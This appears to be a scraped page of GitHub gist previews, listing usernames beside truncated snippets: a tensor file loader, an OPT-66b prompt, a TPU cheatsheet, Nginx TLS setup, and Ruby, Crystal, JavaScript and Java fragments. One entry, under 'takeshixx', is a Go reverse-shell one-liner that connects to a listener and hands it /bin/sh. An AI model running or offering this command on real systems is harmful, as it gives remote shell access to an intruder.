Narsil

import mmap
import torch
import json
import os
from huggingface_hub import hf_hub_download


def load_file(filename, device):
    with open(filename, mode="r", encoding="utf8") as file_obj:
        with mmap.mmap(file_obj.fileno(), length=0, access=mmap.ACCESS_READ) as m:

younesbelkada

import torch
from transformers import AutoModelForCausalLM, AutoTokenizer

MAX_NEW_TOKENS = 128
model_name = 'facebook/opt-66b'

text = """
Q: On average Joe throws 25 punches per minute. A fight lasts 5 rounds of 3 minutes. 
How many punches did he throw?\n
A: Let’s think step by step.\n"""

stefan-it

TPU VM Cheetsheat

This TPU VM cheatsheet uses and was tested with the following library versions:

Library	Version
JAX	0.3.25
FLAX	0.6.4
Datasets	2.10.1
Transformers	4.27.1

aparrish

cecilemuller

How to setup Let's Encrypt for Nginx on Ubuntu 18.04 (including IPv6, HTTP/2 and A+ SLL rating)

---

Virtual hosts

Let's say you want to host domains first.com and second.com.

Create folders for their files:

shiroyasha

class Dog 
  attr_writer :name

  def initialize(name)
    @name = name
  end 

  def bark
    puts "patrick"
  end

oprypin

module Indexable(T)
  def threadpool_map(workers : Int = 8, chunk_size : Int? = nil, &func : T -> R) forall T, R
    mutex = Thread::Mutex.new
    cs = chunk_size || (self.size**0.5).ceil.to_i
    Array(R).build(self.size) do |result|
      index = 0
      threads = Array.new(workers) {
        Thread.new do
          a = b = 0
          loop do

balvig

# app / assets / javascripts / active_admin.js 

//= require active_admin/base
//= require jquery.ui.widget
//= require jquery.iframe-transport
//= require jquery.fileupload
//= require cloudinary/jquery.cloudinary
//= require attachinary
//= require attachments

takeshixx

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go

nilbus

1. Java uses static, declared typing:

   String hello = "Hello, World!";
   List<String> phrases = new ArrayList<String>;
   phrases.add(hello);
   phrases.add(null);
   phrases.add(123); // Compile error! Not a string.